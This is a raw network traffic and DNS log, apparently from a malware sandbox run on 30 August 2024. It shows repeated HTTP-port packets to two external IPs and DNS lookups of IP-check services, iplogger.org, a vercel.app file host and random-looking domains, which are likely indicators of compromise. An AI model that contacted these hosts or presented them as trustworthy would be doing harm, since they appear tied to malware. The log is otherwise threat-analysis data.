Aug 30, 2024 03:17:08.636987925 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636991978 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.636993885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.636997938 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637002945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637006998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637012959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637017965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637018919 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.637023926 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637026072 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.637028933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637034893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637039900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637052059 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637057066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637059927 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.637077093 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.637096882 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.637473106 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637556076 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637559891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637576103 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637583017 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637593031 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637628078 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.637628078 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.637696028 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637701988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637757063 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.637969971 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.637975931 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638035059 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.638056040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638061047 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638066053 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638072014 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638077021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638089895 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.638106108 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.638412952 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638545990 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638550997 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638556004 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638602018 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.638628960 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638633013 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638675928 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.638741016 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638819933 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.638896942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638901949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638928890 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.638976097 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.638976097 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.639059067 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639064074 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639075041 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639080048 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639100075 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639105082 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639113903 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.639142036 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.639149904 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639437914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639442921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639455080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639460087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639501095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.639501095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.639517069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639523029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639533043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.639559031 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.639605045 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.643542051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643548012 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643558979 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643615007 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643620014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643623114 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.643631935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643637896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643666983 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.643692017 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.643748045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643754005 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643765926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643770933 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643775940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643786907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643791914 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643793106 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.643827915 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.643835068 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643840075 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643846035 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643846035 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.643851995 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643857956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643872976 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.643904924 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.643922091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643928051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.643969059 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.644263983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644269943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644282103 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644313097 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.644349098 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644355059 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644366980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644372940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644397020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.644413948 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.644448996 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644454956 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644460917 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644500017 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.644540071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644546032 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644557953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644582987 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644587994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.644592047 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.644623995 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.645652056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.645658016 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.645668030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.645721912 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.645833015 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.645838976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.645844936 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.645849943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.645898104 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.645920992 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.646194935 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646199942 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646204948 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646240950 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.646249056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646254063 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646260023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646265984 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646287918 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646305084 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.646330118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.646393061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646435022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.646492958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646533012 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.646572113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646583080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646589041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646636009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.646671057 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646677017 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.646716118 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.647067070 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.647078991 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.647084951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.647133112 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.647197962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.647202969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.647214890 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.647219896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.647224903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.647248030 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.647265911 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.652381897 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652389050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652403116 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652426958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652431965 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652442932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652447939 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.652448893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652475119 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.652476072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652487040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.652512074 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.652874947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652921915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652928114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.652928114 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.652971029 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.653058052 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.653063059 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.653074026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.653079033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.653107882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.653120041 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.655196905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655294895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655307055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655318975 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655323982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655329943 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655335903 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655343056 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655358076 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.655390024 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.655432940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655438900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655453920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655459881 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655483961 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.655497074 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.655567884 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655574083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655586004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655591011 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655616045 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.655632973 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.655678988 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655683994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655694962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655730009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.655855894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655862093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.655909061 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.672821045 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.672847033 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.672857046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.672911882 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.672923088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.672930002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.672945976 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.672950983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.672971964 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.672982931 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.673018932 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.673024893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.673037052 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.673043013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.673048973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.673059940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.673080921 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.673094988 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.674119949 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.674169064 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.715143919 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715157032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715173006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715177059 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715181112 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715186119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715192080 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715204000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715225935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715225935 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715257883 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715297937 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715302944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715308905 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715313911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715320110 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715323925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715337038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715367079 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715451956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715456963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715471029 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715476036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715487957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715490103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715500116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715513945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715518951 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715523958 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715542078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715542078 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715567112 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715677023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715682030 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715687037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715692997 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715702057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715707064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715719938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715724945 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715732098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715733051 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715737104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.715750933 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715775967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715775967 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.715811968 CEST	80	49733	147.45.44.104	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 30, 2024 03:16:58.519104958 CEST	192.168.2.4	1.1.1.1	0xfcb2	Standard query (0)	api.myip.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:16:59.683046103 CEST	192.168.2.4	1.1.1.1	0xb59b	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:05.165364027 CEST	192.168.2.4	1.1.1.1	0x7e01	Standard query (0)	file-link-iota.vercel.app	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:23.983000040 CEST	192.168.2.4	1.1.1.1	0xcd19	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:47.762388945 CEST	192.168.2.4	1.1.1.1	0x9f4a	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:18:27.665395975 CEST	192.168.2.4	45.155.250.90	0xbfd3	Standard query (0)	bftexwm.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:18:34.482374907 CEST	192.168.2.4	1.1.1.1	0x9ddc	Standard query (0)	stadiatechnologies.com	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:19:23.999533892 CEST	192.168.2.4	1.1.1.1	0x81b	Standard query (0)	gCmUfnfZJOKMjo.gCmUfnfZJOKMjo	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:19:24.705969095 CEST	192.168.2.4	1.1.1.1	0xd5d5	Standard query (0)	kKUNXsFvNT.kKUNXsFvNT	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 30, 2024 03:16:58.526139975 CEST	1.1.1.1	192.168.2.4	0xfcb2	No error (0)	api.myip.com		172.67.75.163	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:16:58.526139975 CEST	1.1.1.1	192.168.2.4	0xfcb2	No error (0)	api.myip.com		104.26.8.59	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:16:58.526139975 CEST	1.1.1.1	192.168.2.4	0xfcb2	No error (0)	api.myip.com		104.26.9.59	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:16:59.696058989 CEST	1.1.1.1	192.168.2.4	0xb59b	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:05.176503897 CEST	1.1.1.1	192.168.2.4	0x7e01	No error (0)	file-link-iota.vercel.app		76.76.21.241	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:05.176503897 CEST	1.1.1.1	192.168.2.4	0x7e01	No error (0)	file-link-iota.vercel.app		76.76.21.61	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:23.990052938 CEST	1.1.1.1	192.168.2.4	0xcd19	No error (0)	iplogger.org		104.26.3.46	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:23.990052938 CEST	1.1.1.1	192.168.2.4	0xcd19	No error (0)	iplogger.org		172.67.74.161	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:23.990052938 CEST	1.1.1.1	192.168.2.4	0xcd19	No error (0)	iplogger.org		104.26.2.46	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:17:47.769367933 CEST	1.1.1.1	192.168.2.4	0x9f4a	No error (0)	steamcommunity.com		23.210.122.61	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:18:27.699166059 CEST	45.155.250.90	192.168.2.4	0xbfd3	No error (0)	bftexwm.com		185.196.8.214	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:18:34.811980963 CEST	1.1.1.1	192.168.2.4	0x9ddc	No error (0)	stadiatechnologies.com		95.164.119.162	A (IP address)	IN (0x0001)	false
Aug 30, 2024 03:19:24.008375883 CEST	1.1.1.1	192.168.2.4	0x81b	Name error (3)	gCmUfnfZJOKMjo.gCmUfnfZJOKMjo	none	none	A (IP address)	IN (0x0001)	false
